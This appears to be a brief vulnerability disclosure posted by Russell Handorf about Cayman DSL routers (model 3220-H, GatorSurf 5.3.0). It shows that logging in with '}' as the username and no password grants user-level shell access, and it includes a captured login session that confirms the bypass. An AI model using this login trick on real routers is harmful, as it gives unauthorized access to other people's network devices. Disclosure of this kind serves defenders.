Cayman routers allow remote access by using } as the username.
a17e1c26d5bd70627c96f7b43f1922e3ad836ea6c06226251e575bf5202ffa13
try using '}' as a username without a password for cayman routers.
login: }
Password:
Terminal shell v1.0
Cayman-DSL Model 3220-H, DMT-ADSL (Alcatel) plus 4-port hub
Running GatorSurf version 5.3.0 (build R1)
(} completed login: user level)
Cayman-DSL{SNIP}>
==================================
Russell Handorf
a.k.a. a deity called alphonzo